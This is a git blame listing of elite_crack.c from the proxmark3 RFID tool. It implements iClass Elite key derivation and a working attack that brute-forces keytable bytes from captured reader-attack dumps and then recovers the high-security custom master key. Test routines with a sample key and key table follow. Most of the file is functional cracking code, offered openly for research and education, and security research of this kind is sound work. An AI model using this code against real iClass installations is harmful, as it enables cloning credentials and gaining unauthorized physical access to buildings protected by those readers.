]> cvs.zerfleddert.de Git - proxmark3-svn/blame - client/loclass/elite_crack.c
Fix some printf/scanf format strings
[proxmark3-svn] / client / loclass / elite_crack.c
CommitLineData
d60418a0
MHS
1/*****************************************************************************
2 * WARNING
3 *
d8ecc98a 4 * THIS CODE IS CREATED FOR EXPERIMENTATION AND EDUCATIONAL USE ONLY.
5 *
6 * USAGE OF THIS CODE IN OTHER WAYS MAY INFRINGE UPON THE INTELLECTUAL
7 * PROPERTY OF OTHER PARTIES, SUCH AS INSIDE SECURE AND HID GLOBAL,
8 * AND MAY EXPOSE YOU TO AN INFRINGEMENT ACTION FROM THOSE PARTIES.
9 *
10 * THIS CODE SHOULD NEVER BE USED TO INFRINGE PATENTS OR INTELLECTUAL PROPERTY RIGHTS.
d60418a0
MHS
11 *
12 *****************************************************************************
13 *
14 * This file is part of loclass. It is a reconstructon of the cipher engine
15 * used in iClass, and RFID techology.
16 *
17 * The implementation is based on the work performed by
18 * Flavio D. Garcia, Gerhard de Koning Gans, Roel Verdult and
19 * Milosch Meriac in the paper "Dismantling IClass".
20 *
21 * Copyright (C) 2014 Martin Holst Swende
22 *
23 * This is free software: you can redistribute it and/or modify
24 * it under the terms of the GNU General Public License version 2 as published
d8ecc98a 25 * by the Free Software Foundation, or, at your option, any later version.
d60418a0
MHS
26 *
27 * This file is distributed in the hope that it will be useful,
28 * but WITHOUT ANY WARRANTY; without even the implied warranty of
29 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
30 * GNU General Public License for more details.
31 *
32 * You should have received a copy of the GNU General Public License
33 * along with loclass. If not, see <http://www.gnu.org/licenses/>.
d8ecc98a 34 *
35 *
d60418a0
MHS
36 ****************************************************************************/
37
3ad48540
MHS
38#include <stdint.h>
39#include <stdbool.h>
40#include <string.h>
41#include <stdio.h>
acf0582d 42#include "util.h"
ec9c7112 43#include "util_posix.h"
3ad48540
MHS
44#include "cipherutils.h"
45#include "cipher.h"
46#include "ikeys.h"
47#include "elite_crack.h"
48#include "fileutils.h"
e0991f6a 49#include "mbedtls/des.h"
3ad48540
MHS
50
51/**
52 * @brief Permutes a key from standard NIST format to Iclass specific format
d8ecc98a 53 * from http://www.proxmark.org/forum/viewtopic.php?pid=11220#p11220
3ad48540 54 *
d8ecc98a 55 * If you permute [6c 8d 44 f9 2a 2d 01 bf] you get [8a 0d b9 88 bb a7 90 ea] as shown below.
3ad48540 56 *
d8ecc98a 57 * 1 0 1 1 1 1 1 1 bf
58 * 0 0 0 0 0 0 0 1 01
59 * 0 0 1 0 1 1 0 1 2d
60 * 0 0 1 0 1 0 1 0 2a
61 * 1 1 1 1 1 0 0 1 f9
62 * 0 1 0 0 0 1 0 0 44
63 * 1 0 0 0 1 1 0 1 8d
64 * 0 1 1 0 1 1 0 0 6c
3ad48540 65 *
d8ecc98a 66 * 8 0 b 8 b a 9 e
67 * a d 9 8 b 7 0 a
3ad48540
MHS
68 *
69 * @param key
70 * @param dest
71 */
72void permutekey(uint8_t key[8], uint8_t dest[8])
73{
74
75 int i;
76 for(i = 0 ; i < 8 ; i++)
77 {
d8ecc98a 78 dest[i] = (((key[7] & (0x80 >> i)) >> (7-i)) << 7) |
3ad48540
MHS
79 (((key[6] & (0x80 >> i)) >> (7-i)) << 6) |
80 (((key[5] & (0x80 >> i)) >> (7-i)) << 5) |
81 (((key[4] & (0x80 >> i)) >> (7-i)) << 4) |
82 (((key[3] & (0x80 >> i)) >> (7-i)) << 3) |
83 (((key[2] & (0x80 >> i)) >> (7-i)) << 2) |
84 (((key[1] & (0x80 >> i)) >> (7-i)) << 1) |
85 (((key[0] & (0x80 >> i)) >> (7-i)) << 0);
86 }
87
88 return;
89}
90/**
91 * Permutes a key from iclass specific format to NIST format
92 * @brief permutekey_rev
93 * @param key
94 * @param dest
95 */
96void permutekey_rev(uint8_t key[8], uint8_t dest[8])
97{
98 int i;
99 for(i = 0 ; i < 8 ; i++)
100 {
d8ecc98a 101 dest[7-i] = (((key[0] & (0x80 >> i)) >> (7-i)) << 7) |
3ad48540
MHS
102 (((key[1] & (0x80 >> i)) >> (7-i)) << 6) |
103 (((key[2] & (0x80 >> i)) >> (7-i)) << 5) |
104 (((key[3] & (0x80 >> i)) >> (7-i)) << 4) |
105 (((key[4] & (0x80 >> i)) >> (7-i)) << 3) |
106 (((key[5] & (0x80 >> i)) >> (7-i)) << 2) |
107 (((key[6] & (0x80 >> i)) >> (7-i)) << 1) |
108 (((key[7] & (0x80 >> i)) >> (7-i)) << 0);
109 }
110}
111
112/**
113 * Helper function for hash1
114 * @brief rr
115 * @param val
116 * @return
117 */
118uint8_t rr(uint8_t val)
119{
120 return val >> 1 | (( val & 1) << 7);
121}
122/**
123 * Helper function for hash1
124 * @brief rl
125 * @param val
126 * @return
127 */
128uint8_t rl(uint8_t val)
129{
130 return val << 1 | (( val & 0x80) >> 7);
131}
132/**
133 * Helper function for hash1
134 * @brief swap
135 * @param val
136 * @return
137 */
138uint8_t swap(uint8_t val)
139{
140 return ((val >> 4) & 0xFF) | ((val &0xFF) << 4);
141}
142
143/**
144 * Hash1 takes CSN as input, and determines what bytes in the keytable will be used
145 * when constructing the K_sel.
146 * @param csn the CSN used
147 * @param k output
148 */
149void hash1(uint8_t csn[] , uint8_t k[])
150{
151 k[0] = csn[0]^csn[1]^csn[2]^csn[3]^csn[4]^csn[5]^csn[6]^csn[7];
152 k[1] = csn[0]+csn[1]+csn[2]+csn[3]+csn[4]+csn[5]+csn[6]+csn[7];
153 k[2] = rr(swap( csn[2]+k[1] ));
0eea34a2
MHS
154 k[3] = rl(swap( csn[3]+k[0] ));
155 k[4] = ~rr( csn[4]+k[2] )+1;
156 k[5] = ~rl( csn[5]+k[3] )+1;
3ad48540
MHS
157 k[6] = rr( csn[6]+(k[4]^0x3c) );
158 k[7] = rl( csn[7]+(k[5]^0xc3) );
159 int i;
160 for(i = 7; i >=0; i--)
161 k[i] = k[i] & 0x7F;
162}
aa41c605
MHS
163/**
164Definition 14. Define the rotate key function rk : (F 82 ) 8 × N → (F 82 ) 8 as
165rk(x [0] . . . x [7] , 0) = x [0] . . . x [7]
166rk(x [0] . . . x [7] , n + 1) = rk(rl(x [0] ) . . . rl(x [7] ), n)
167**/
168void rk(uint8_t *key, uint8_t n, uint8_t *outp_key)
169{
170
d8ecc98a 171 memcpy(outp_key, key, 8);
aa41c605 172
d8ecc98a 173 uint8_t j;
aa41c605 174
d8ecc98a 175 while(n-- > 0)
176 for(j=0; j < 8 ; j++)
177 outp_key[j] = rl(outp_key[j]);
aa41c605 178
d8ecc98a 179 return;
aa41c605
MHS
180}
181
aa0b1c43 182static mbedtls_des_context ctx_enc = { {0} };
183static mbedtls_des_context ctx_dec = { {0} };
aa41c605
MHS
184
185void desdecrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output)
186{
d8ecc98a 187 uint8_t key_std_format[8] = {0};
188 permutekey_rev(iclass_key, key_std_format);
189 mbedtls_des_setkey_dec( &ctx_dec, key_std_format);
190 mbedtls_des_crypt_ecb(&ctx_dec,input,output);
aa41c605
MHS
191}
192void desencrypt_iclass(uint8_t *iclass_key, uint8_t *input, uint8_t *output)
193{
d8ecc98a 194 uint8_t key_std_format[8] = {0};
195 permutekey_rev(iclass_key, key_std_format);
196 mbedtls_des_setkey_enc( &ctx_enc, key_std_format);
197 mbedtls_des_crypt_ecb(&ctx_enc,input,output);
aa41c605
MHS
198}
199
200/**
201 * @brief Insert uint8_t[8] custom master key to calculate hash2 and return key_select.
202 * @param key unpermuted custom key
203 * @param hash1 hash1
204 * @param key_sel output key_sel=h[hash1[i]]
205 */
206void hash2(uint8_t *key64, uint8_t *outp_keytable)
207{
d8ecc98a 208 /**
209 *Expected:
210 * High Security Key Table
aa41c605
MHS
211
21200 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
21310 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
21420 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
21530 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
21640 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
21750 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
21860 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
21970 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
220
221**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ******/
d8ecc98a 222 uint8_t key64_negated[8] = {0};
223 uint8_t z[8][8]={{0},{0}};
224 uint8_t temp_output[8]={0};
225 //calculate complement of key
226 int i;
227 for(i=0;i<8;i++)
228 key64_negated[i]= ~key64[i];
229
230 // Once again, key is on iclass-format
231 desencrypt_iclass(key64, key64_negated, z[0]);
232
233 prnlog("\nHigh security custom key (Kcus):");
234 printvar("z0 ", z[0],8);
235
236 uint8_t y[8][8]={{0},{0}};
237
238 // y[0]=DES_dec(z[0],~key)
239 // Once again, key is on iclass-format
240 desdecrypt_iclass(z[0], key64_negated, y[0]);
241 printvar("y0 ", y[0],8);
242
243 for(i=1; i<8; i++)
244 {
245
246 // z [i] = DES dec (rk(K cus , i), z [i−1] )
247 rk(key64, i, temp_output);
248 //y [i] = DES enc (rk(K cus , i), y [i−1] )
249
250 desdecrypt_iclass(temp_output,z[i-1], z[i]);
251 desencrypt_iclass(temp_output,y[i-1], y[i]);
252
253 }
254 if(outp_keytable != NULL)
255 {
256 for(i = 0 ; i < 8 ; i++)
257 {
258 memcpy(outp_keytable+i*16,y[i],8);
259 memcpy(outp_keytable+8+i*16,z[i],8);
260 }
261 }else
262 {
263 printarr_human_readable("hash2", outp_keytable,128);
264 }
aa41c605 265}
3ad48540
MHS
266
267/**
268 * @brief Reads data from the iclass-reader-attack dump file.
269 * @param dump, data from a iclass reader attack dump. The format of the dumpdata is expected to be as follows:
d8ecc98a 270 * <8 byte CSN><8 byte CC><4 byte NR><4 byte MAC><8 byte HASH1><1 byte NUM_BYTES_TO_RECOVER><3 bytes BYTES_TO_RECOVER>
271 * .. N times...
3ad48540 272 *
d8ecc98a 273 * So the first attack, with 3 bytes to recover would be : ... 03000145
274 * And a later attack, with 1 byte to recover (byte 0x5)would be : ...01050000
275 * And an attack, with 2 bytes to recover (byte 0x5 and byte 0x07 )would be : ...02050700
3ad48540
MHS
276 *
277 * @param cc_nr an array to store cc_nr into (12 bytes)
278 * @param csn an arracy ot store CSN into (8 bytes)
279 * @param received_mac an array to store MAC into (4 bytes)
280 * @param i the number to read. Should be less than 127, or something is wrong...
281 * @return
282 */
283int _readFromDump(uint8_t dump[], dumpdata* item, uint8_t i)
284{
285 size_t itemsize = sizeof(dumpdata);
286 //dumpdata item = {0};
287 memcpy(item,dump+i*itemsize, itemsize);
288 if(true)
289 {
290 printvar("csn", item->csn,8);
291 printvar("cc_nr", item->cc_nr,12);
292 printvar("mac", item->mac,4);
293 }
294 return 0;
295}
296
297static uint32_t startvalue = 0;
298/**
299 * @brief Performs brute force attack against a dump-data item, containing csn, cc_nr and mac.
300 *This method calculates the hash1 for the CSN, and determines what bytes need to be bruteforced
301 *on the fly. If it finds that more than three bytes need to be bruteforced, it aborts.
302 *It updates the keytable with the findings, also using the upper half of the 16-bit ints
303 *to signal if the particular byte has been cracked or not.
304 *
305 * @param dump The dumpdata from iclass reader attack.
306 * @param keytable where to write found values.
307 * @return
308 */
d8ecc98a 309int bruteforceItem(dumpdata item, uint16_t keytable[]) {
3ad48540
MHS
310 int errors = 0;
311 uint8_t key_sel_p[8] = { 0 };
312 uint8_t div_key[8] = {0};
313 int found = false;
314 uint8_t key_sel[8] = {0};
315 uint8_t calculated_MAC[4] = { 0 };
316
317 //Get the key index (hash1)
318 uint8_t key_index[8] = {0};
319 hash1(item.csn, key_index);
320
d8ecc98a 321 printvar("CSN ", item.csn, 8);
322 printvar("HASH1", key_index, 8);
3ad48540
MHS
323
324 /*
325 * Determine which bytes to retrieve. A hash is typically
326 * 01010000454501
327 * We go through that hash, and in the corresponding keytable, we put markers
328 * on what state that particular index is:
329 * - CRACKED (this has already been cracked)
330 * - BEING_CRACKED (this is being bruteforced now)
331 * - CRACK_FAILED (self-explaining...)
332 *
333 * The markers are placed in the high area of the 16 bit key-table.
334 * Only the lower eight bits correspond to the (hopefully cracked) key-value.
335 **/
336 uint8_t bytes_to_recover[3] = {0};
0ab9002f 337 uint8_t numbytes_to_recover = 0;
338
d8ecc98a 339 for (int i = 0; i < 8; i++) {
0ab9002f 340 if (keytable[key_index[i]] & (CRACKED | BEING_CRACKED)) continue;
d8ecc98a 341 if (numbytes_to_recover == 3) {
3ad48540 342 prnlog("The CSN requires > 3 byte bruteforce, not supported");
3ad48540 343 //Before we exit, reset the 'BEING_CRACKED' to zero
d8ecc98a 344 keytable[bytes_to_recover[0]] &= ~BEING_CRACKED;
345 keytable[bytes_to_recover[1]] &= ~BEING_CRACKED;
346 keytable[bytes_to_recover[2]] &= ~BEING_CRACKED;
3ad48540 347 return 1;
d8ecc98a 348 } else {
349 bytes_to_recover[numbytes_to_recover++] = key_index[i];
350 keytable[key_index[i]] |= BEING_CRACKED;
3ad48540
MHS
351 }
352 }
353
354 /*
355 *A uint32 has room for 4 bytes, we'll only need 24 of those bits to bruteforce up to three bytes,
356 */
357 uint32_t brute = startvalue;
358 /*
359 Determine where to stop the bruteforce. A 1-byte attack stops after 256 tries,
360 (when brute reaches 0x100). And so on...
361 bytes_to_recover = 1 --> endmask = 0x0000100
362 bytes_to_recover = 2 --> endmask = 0x0010000
363 bytes_to_recover = 3 --> endmask = 0x1000000
364 */
365
366 uint32_t endmask = 1 << 8*numbytes_to_recover;
367
d8ecc98a 368 for (int i = 0; i < numbytes_to_recover; i++) {
3ad48540 369 prnlog("Bruteforcing byte %d", bytes_to_recover[i]);
0ab9002f 370 }
3ad48540 371
d8ecc98a 372 while (!found && !(brute & endmask)) {
3ad48540
MHS
373
374 //Update the keytable with the brute-values
d8ecc98a 375 for(int i = 0 ; i < numbytes_to_recover; i++) {
3ad48540 376 keytable[bytes_to_recover[i]] &= 0xFF00;
d8ecc98a 377 keytable[bytes_to_recover[i]] |= ((brute >> (i*8)) & 0xFF);
3ad48540
MHS
378 }
379
380 // Piece together the key
d8ecc98a 381 key_sel[0] = keytable[key_index[0]] & 0xFF;
382 key_sel[1] = keytable[key_index[1]] & 0xFF;
383 key_sel[2] = keytable[key_index[2]] & 0xFF;
384 key_sel[3] = keytable[key_index[3]] & 0xFF;
385 key_sel[4] = keytable[key_index[4]] & 0xFF;
386 key_sel[5] = keytable[key_index[5]] & 0xFF;
387 key_sel[6] = keytable[key_index[6]] & 0xFF;
388 key_sel[7] = keytable[key_index[7]] & 0xFF;
3ad48540
MHS
389
390 //Permute from iclass format to standard format
391 permutekey_rev(key_sel,key_sel_p);
392 //Diversify
393 diversifyKey(item.csn, key_sel_p, div_key);
394 //Calc mac
0ab9002f 395 doMAC(item.cc_nr, div_key, calculated_MAC);
3ad48540 396
0ab9002f 397 if (memcmp(calculated_MAC, item.mac, 4) == 0) {
d8ecc98a 398 for (int i = 0; i < numbytes_to_recover; i++)
0ab9002f 399 prnlog("=> %d: 0x%02x", bytes_to_recover[i], 0xFF & keytable[bytes_to_recover[i]]);
3ad48540
MHS
400 found = true;
401 break;
402 }
403 brute++;
0ab9002f 404 if ((brute & 0xFFFF) == 0) {
3ad48540
MHS
405 printf("%d",(brute >> 16) & 0xFF);
406 fflush(stdout);
407 }
408 }
d8ecc98a 409
410 if (!found) {
411 prnlog("\nFailed to recover %d bytes", numbytes_to_recover);
3ad48540
MHS
412 errors++;
413 //Before we exit, reset the 'BEING_CRACKED' to zero
0ab9002f 414 for (int i = 0; i < numbytes_to_recover; i++) {
d8ecc98a 415 keytable[bytes_to_recover[i]] &= ~BEING_CRACKED;
3ad48540 416 }
0ab9002f 417 } else {
d8ecc98a 418 for (int i = 0; i < numbytes_to_recover; i++) {
419 keytable[bytes_to_recover[i]] &= ~BEING_CRACKED;
420 keytable[bytes_to_recover[i]] |= CRACKED;
3ad48540 421 }
3ad48540 422 }
d8ecc98a 423
3ad48540
MHS
424 return errors;
425}
426
427
428/**
429 * From dismantling iclass-paper:
d8ecc98a 430 * Assume that an adversary somehow learns the first 16 bytes of hash2(K_cus ), i.e., y [0] and z [0] .
431 * Then he can simply recover the master custom key K_cus by computing
432 * K_cus = ~DES(z[0] , y[0] ) .
3ad48540 433 *
d8ecc98a 434 * Furthermore, the adversary is able to verify that he has the correct K cus by
435 * checking whether z [0] = DES enc (K_cus , ~K_cus ).
3ad48540
MHS
436 * @param keytable an array (128 bytes) of hash2(kcus)
437 * @param master_key where to put the master key
438 * @return 0 for ok, 1 for failz
439 */
440int calculateMasterKey(uint8_t first16bytes[], uint64_t master_key[] )
441{
aa0b1c43 442 mbedtls_des_context ctx_e = { {0} };
3ad48540
MHS
443
444 uint8_t z_0[8] = {0};
445 uint8_t y_0[8] = {0};
446 uint8_t z_0_rev[8] = {0};
447 uint8_t key64[8] = {0};
448 uint8_t key64_negated[8] = {0};
449 uint8_t result[8] = {0};
450
451 // y_0 and z_0 are the first 16 bytes of the keytable
452 memcpy(y_0,first16bytes,8);
453 memcpy(z_0,first16bytes+8,8);
454
455 // Our DES-implementation uses the standard NIST
456 // format for keys, thus must translate from iclass
457 // format to NIST-format
458 permutekey_rev(z_0, z_0_rev);
459
460 // ~K_cus = DESenc(z[0], y[0])
e0991f6a
OM
461 mbedtls_des_setkey_enc( &ctx_e, z_0_rev );
462 mbedtls_des_crypt_ecb(&ctx_e, y_0, key64_negated);
3ad48540
MHS
463
464 int i;
465 for(i = 0; i < 8 ; i++)
466 {
467 key64[i] = ~key64_negated[i];
468 }
469
470 // Can we verify that the key is correct?
471 // Once again, key is on iclass-format
472 uint8_t key64_stdformat[8] = {0};
473 permutekey_rev(key64, key64_stdformat);
474
e0991f6a
OM
475 mbedtls_des_setkey_enc( &ctx_e, key64_stdformat );
476 mbedtls_des_crypt_ecb(&ctx_e, key64_negated, result);
3ad48540
MHS
477 prnlog("\nHigh security custom key (Kcus):");
478 printvar("Std format ", key64_stdformat,8);
479 printvar("Iclass format", key64,8);
480
481 if(master_key != NULL)
482 memcpy(master_key, key64, 8);
483
484 if(memcmp(z_0,result,4) != 0)
485 {
486 prnlog("Failed to verify calculated master key (k_cus)! Something is wrong.");
487 return 1;
488 }else{
489 prnlog("Key verified ok!\n");
490 }
491 return 0;
492}
493/**
494 * @brief Same as bruteforcefile, but uses a an array of dumpdata instead
495 * @param dump
496 * @param dumpsize
497 * @param keytable
498 * @return
499 */
500int bruteforceDump(uint8_t dump[], size_t dumpsize, uint16_t keytable[])
501{
502 uint8_t i;
503 int errors = 0;
504 size_t itemsize = sizeof(dumpdata);
acf0582d 505 uint64_t t1 = msclock();
3ad48540
MHS
506
507 dumpdata* attack = (dumpdata* ) malloc(itemsize);
508
0ab9002f 509 for (i = 0 ; i * itemsize < dumpsize ; i++ )
3ad48540
MHS
510 {
511 memcpy(attack,dump+i*itemsize, itemsize);
512 errors += bruteforceItem(*attack, keytable);
513 }
514 free(attack);
acf0582d 515 t1 = msclock() - t1;
516 float diff = (float)t1 / 1000.0;
517 prnlog("\nPerformed full crack in %f seconds", diff);
3ad48540
MHS
518
519 // Pick out the first 16 bytes of the keytable.
520 // The keytable is now in 16-bit ints, where the upper 8 bits
521 // indicate crack-status. Those must be discarded for the
522 // master key calculation
523 uint8_t first16bytes[16] = {0};
524
d8ecc98a 525 for (int i = 0; i < 16; i++) {
3ad48540 526 first16bytes[i] = keytable[i] & 0xFF;
d8ecc98a 527 if (!(keytable[i] & CRACKED)) {
528 prnlog("Error, we are missing byte %d, cannot calculate custom key.", i);
529 return 1;
3ad48540
MHS
530 }
531 }
532 errors += calculateMasterKey(first16bytes, NULL);
533 return errors;
534}
535/**
536 * Perform a bruteforce against a file which has been saved by pm3
537 *
538 * @brief bruteforceFile
539 * @param filename
540 * @return
541 */
542int bruteforceFile(const char *filename, uint16_t keytable[])
543{
d60418a0 544
3ad48540
MHS
545 FILE *f = fopen(filename, "rb");
546 if(!f) {
547 prnlog("Failed to read from file '%s'", filename);
548 return 1;
549 }
550
551 fseek(f, 0, SEEK_END);
552 long fsize = ftell(f);
553 fseek(f, 0, SEEK_SET);
554
d23411ef 555 if (fsize < 0) {
556 prnlog("Error, when getting fsize");
557 fclose(f);
558 return 1;
559 }
560
3ad48540 561 uint8_t *dump = malloc(fsize);
6f101995 562 size_t bytes_read = fread(dump, 1, fsize, f);
3ad48540
MHS
563
564 fclose(f);
d23411ef 565 if (bytes_read < fsize) {
566 prnlog("Error, could only read %d bytes (should be %d)",bytes_read, fsize );
567 }
568
569 uint8_t res = bruteforceDump(dump,fsize,keytable);
570 free(dump);
571 return res;
3ad48540
MHS
572}
573/**
574 *
575 * @brief Same as above, if you don't care about the returned keytable (results only printed on screen)
576 * @param filename
577 * @return
578 */
579int bruteforceFileNoKeys(const char *filename)
580{
581 uint16_t keytable[128] = {0};
582 return bruteforceFile(filename, keytable);
583}
584
585// ---------------------------------------------------------------------------------
586// ALL CODE BELOW THIS LINE IS PURELY TESTING
587// ---------------------------------------------------------------------------------
588// ----------------------------------------------------------------------------
589// TEST CODE BELOW
590// ----------------------------------------------------------------------------
591
592int _testBruteforce()
593{
594 int errors = 0;
595 if(true){
596 // First test
597 prnlog("[+] Testing crack from dumpfile...");
598
599 /**
600 Expected values for the dumpfile:
601 High Security Key Table
602
603 00 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
604 10 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
605 20 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
606 30 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
607 40 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
608 50 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
609 60 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
610 70 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
611
612 **** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
613 **/
614 uint16_t keytable[128] = {0};
6f101995
MHS
615
616 //Test a few variants
617 if(fileExists("iclass_dump.bin"))
618 {
619 errors |= bruteforceFile("iclass_dump.bin",keytable);
620 }else if(fileExists("loclass/iclass_dump.bin")){
621 errors |= bruteforceFile("loclass/iclass_dump.bin",keytable);
622 }else if(fileExists("client/loclass/iclass_dump.bin")){
623 errors |= bruteforceFile("client/loclass/iclass_dump.bin",keytable);
624 }else{
625 prnlog("Error: The file iclass_dump.bin was not found!");
626 }
3ad48540
MHS
627 }
628 return errors;
629}
630
631int _test_iclass_key_permutation()
632{
633 uint8_t testcase[8] = {0x6c,0x8d,0x44,0xf9,0x2a,0x2d,0x01,0xbf};
634 uint8_t testcase_output[8] = {0};
635 uint8_t testcase_output_correct[8] = {0x8a,0x0d,0xb9,0x88,0xbb,0xa7,0x90,0xea};
636 uint8_t testcase_output_rev[8] = {0};
637 permutekey(testcase, testcase_output);
638 permutekey_rev(testcase_output, testcase_output_rev);
639
640
641 if(memcmp(testcase_output, testcase_output_correct,8) != 0)
642 {
643 prnlog("Error with iclass key permute!");
644 printarr("testcase_output", testcase_output, 8);
645 printarr("testcase_output_correct", testcase_output_correct, 8);
646 return 1;
647
648 }
649 if(memcmp(testcase, testcase_output_rev, 8) != 0)
650 {
651 prnlog("Error with reverse iclass key permute");
652 printarr("testcase", testcase, 8);
653 printarr("testcase_output_rev", testcase_output_rev, 8);
654 return 1;
655 }
656
657 prnlog("[+] Iclass key permutation OK!");
658 return 0;
659}
d60418a0
MHS
660int _testHash1()
661{
d8ecc98a 662 uint8_t csn[8]= {0x01,0x02,0x03,0x04,0xF7,0xFF,0x12,0xE0};
663 uint8_t k[8] = {0};
664 hash1(csn, k);
665 uint8_t expected[8] = {0x7E,0x72,0x2F,0x40,0x2D,0x02,0x51,0x42};
666 if(memcmp(k,expected,8) != 0)
667 {
668 prnlog("Error with hash1!");
669 printarr("calculated", k, 8);
670 printarr("expected", expected, 8);
671 return 1;
672 }
673 return 0;
d60418a0 674}
3ad48540
MHS
675
676int testElite()
677{
678 prnlog("[+] Testing iClass Elite functinality...");
d8ecc98a 679 prnlog("[+] Testing hash2");
680 uint8_t k_cus[8] = {0x5B,0x7C,0x62,0xC4,0x91,0xC1,0x1B,0x39};
aa41c605 681
d8ecc98a 682 /**
683 *Expected:
684 * High Security Key Table
aa41c605
MHS
685
68600 F1 35 59 A1 0D 5A 26 7F 18 60 0B 96 8A C0 25 C1
68710 BF A1 3B B0 FF 85 28 75 F2 1F C6 8F 0E 74 8F 21
68820 14 7A 55 16 C8 A9 7D B3 13 0C 5D C9 31 8D A9 B2
68930 A3 56 83 0F 55 7E DE 45 71 21 D2 6D C1 57 1C 9C
69040 78 2F 64 51 42 7B 64 30 FA 26 51 76 D3 E0 FB B6
69150 31 9F BF 2F 7E 4F 94 B4 BD 4F 75 91 E3 1B EB 42
69260 3F 88 6F B8 6C 2C 93 0D 69 2C D5 20 3C C1 61 95
69370 43 08 A0 2F FE B3 26 D7 98 0B 34 7B 47 70 A0 AB
694
695
696
697**** The 64-bit HS Custom Key Value = 5B7C62C491C11B39 ****
d8ecc98a 698 */
699 uint8_t keytable[128] = {0};
700 hash2(k_cus, keytable);
701 printarr_human_readable("Hash2", keytable, 128);
702 if(keytable[3] == 0xA1 && keytable[0x30] == 0xA3 && keytable[0x6F] == 0x95)
703 {
704 prnlog("[+] Hash2 looks fine...");
705 }
aa41c605 706
3ad48540 707 int errors = 0 ;
d8ecc98a 708 prnlog("[+] Testing hash1...");
709 errors += _testHash1();
710 prnlog("[+] Testing key diversification ...");
711 errors +=_test_iclass_key_permutation();
3ad48540 712 errors += _testBruteforce();
d60418a0 713
3ad48540
MHS
714 return errors;
715
716}
717
Impressum, Datenschutz